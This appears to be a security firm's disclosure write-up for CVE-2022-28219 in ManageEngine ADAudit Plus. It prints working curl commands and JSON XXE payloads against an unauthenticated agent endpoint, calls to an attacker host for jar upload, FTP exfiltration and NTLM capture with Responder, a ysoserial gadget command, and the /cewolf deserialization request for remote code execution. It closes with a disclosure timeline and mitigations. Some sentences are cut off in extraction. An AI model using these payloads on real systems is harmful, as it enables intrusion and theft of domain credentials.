Discovery
We regularly encounter ManageEngine products in internal pentests. The products related to Active Directory management (ADManager Plus, ADSelfService Plus, ADAudit Plus, etc) are especially prevalent. These applications are also attractive to attackers because of the privileged access they have to Active Directory. We decided to take a closer look at ADAudit Plus to see what we could find.
Potential RCE Vector: Return of Cewolf
Typically, in a white box source code review, we begin by understanding what backend API endpoints are accessible to an unauthenticated attacker. For Java web applications, the web.xml
file is the place to start.
One of the first things that stood out, and we were surprised to see, was the presence of a /cewolf
endpoint handled by the CewolfRenderer
servlet in the third-party Cewolf charting library. This is the same vulnerable endpoint from CVE-2020-10189, reported by @steventseeley against ManageEngine Desktop Central. The FileStorage
class in this library was abused for remote code execution via untrusted Java deserialization.
img
parameter, we could deserialize a Java payload anywhere on disk.curl --path-as-is -v 'http://<adap_ip>:<port>/cewolf/a.png?img=/../../../../../../../../../some-dir/my-payload'
Note the servlet request path needs to end in an image file extension like .png
to bypass a security filter.
Finding an XXE
We had a powerful remote code execution primitive in hand and needed to find a way to upload a Java payload anywhere on disk. We found several ways for unauthenticated users to upload files but initially had difficulty uploading an arbitrary file containing a Java payload because of security filters and file type checks.
One of the features of ADAudit Plus is the ability to collect security events from agents running on other machines in the domain. To our surprise, we found that a few of the endpoints that agents use to upload events to ADAudit Plus were unauthenticated. This gave us a large attack surface to work with because there’s a lot of business logic that was written to process these events. While looking for a file upload vector, we found a path to trigger a blind XXE vulnerability in the ProcessTrackingListener
class, which handles events containing Windows scheduled task XML content. This class was using the dangerous default version of Java’s DocumentBuilderFactory
class, which permits external entity resolution and is vulnerable to XXE injection.
curl -H 'Content-Type: application/json' -X POST http://<adap_ip>:<port>/api/agent/tabs/agentData -d @payload.json
payload.json
looks like:[ { "DomainName": "<DOMAIN_NAME>", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<XXE_PAYLOAD>" } ]
The only pre-requisite that an attacker needs to know ahead of time is the name of the fully qualified Windows domain that the ADAudit Plus application is monitoring. This is trivial for attackers to discover.
Blind XXE vulnerabilities in Java can be hard to exploit, but in this case we were aided by the old Java runtime bundled with ADAudit Plus. By default ADAudit Plus ships with Java 8u051.
With the old Java runtime, we found the blind XXE can be used to do all of the following:
- exfiltrate files over FTP
- get directory listings over FTP
- upload files!!
In the wild we’ve found that about 3/4 of the vulnerable ADAudit Plus installs are using the old runtime. We found Java runtime versions 8u131 and later have protections in place to prevent the above actions.
Exploitation
XXE to RCE
a-jsmith
. Our attacker IP was 10.0.220.200. Upon install, ADAudit Plus automatically detected that it was part of the SMOKE.NET
domain.CommonBeanutils1
gadget. For instance, using ysoserial to run calc.exe
:$JAVA_HOME/bin/java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 calc.exe > xxe-upload-test.jar
java BlockingServer 9090 xxe-upload-test.jar
curl -H 'Content-Type: application/json' -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_jar.json
payload_jar.json
contains:[ { "DomainName": "smoke.net", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!foo [ <!ENTITY %xxe SYSTEM \"jar:http://10.0.220.200:9090/xxe-upload-test.jar!/myfile.txt\"> %xxe; ]>" } ]
BlockingServer
serves the file and keeps the connection open so the temp file is not deleted.python2 xxe-ftp-server.py 10.0.220.200 3000 2122
curl -H 'Content-Type: application/json' -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_list.json
payload_list.json
contains:[ { "DomainName": "smoke.net", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "Task Content": <?xml version=\"1.0\" encoding=\"UTF-8\"? >\n<!DOCTYPE data [\n <!ENTITY % start \"<![CDATA[\"> <!ENTITY % file SYSTEM \"file:///c:/users/a-jsmith/appdata/local/temp/\"> <!ENTITY %end \"]]>\"> \n <!ENTITY %dtd SYSTEM \"http://10.0.220.200:3000/data.dtd\"> %dtd;\n]>\n<data>&send;</data>\n" } ]
c:/users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp
./cewolf
endpoint to deserialize the contents of the uploaded file and trigger the execution of the command:curl --path-as-is -v 'http://10.0.220.100:8081/cewolf/a.png?img=/../../../../../../../../../users/a-jsmith/appdata/local/temp/jar_cache7858836562026605742.tmp'
XXE to SSRF to NTLM Relay
As a side note, regardless of the Java runtime version, XXE vulnerabilities in Java and on Windows can also be used to capture and relay the NTLM hashes of the user account under which the application is running. This is because the Java HTTP client will attempt to authenticate over NTLM if it connects to a server requiring NTLM to authenticate.
This is especially useful for an attacker if the ADAudit Plus application is running under a privileged account. As an example, we run the well-known responder tool on the attacker machine:
python3 /usr/share/responder/Responder.py -I ens160
curl -H 'Content-Type: application/json' -X POST http://10.0.220.100:8081/api/agent/tabs/agentData -d @payload_ntlm.json
payload_ntlm.json
contains:[ { "DomainName": "smoke.net", "EventCode": 4688, "EventType": 0, "TimeGenerated": 0, "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM \"http://10.0.220.200\"> %xxe; ]>" } ]
a-jsmith
user under whom the ADAudit Plus application is running.Post-Exploitation
Applications that integrate with Active Directory have to store credentials to connect to it. In the case of ADAudit Plus, these credentials are stored encrypted in its database. It’s possible to reverse the encryption to access these credentials in the clear.
In the wild, we’ve found that these credentials are often highly privileged. ADAudit Plus makes it easy for users to get started with domain admin credentials, and we’ve seen users take this easy path rather than setting up a dedicated service account with restricted privileges. When this happens, NodeZero will fully compromise the domain through ADAudit Plus, generating an attack graph that looks like this.
Disclosure Timeline
- March 28, 2022: Vulnerability disclosed to Zoho via bug bounty program
- March 28, 2022: Vulnerability confirmed by Zoho
- March 30, 2022: New build ADAudit Plus 7060 released by Zoho
- April 5, 2022: CVE-2022-28219 published
- April 5, 2022: Detection and exploitation integrated into Horizon3 NodeZero pentest operations
- June 29, 2022: This detailed disclosure
- Removing the
/cewolf
endpoint altogether - Using a secure version of
DocumentBuilderFactory
in theProcessingTrackingListener
class - Requiring authentication in the form of an agent GUID between agents and ADAudit Plus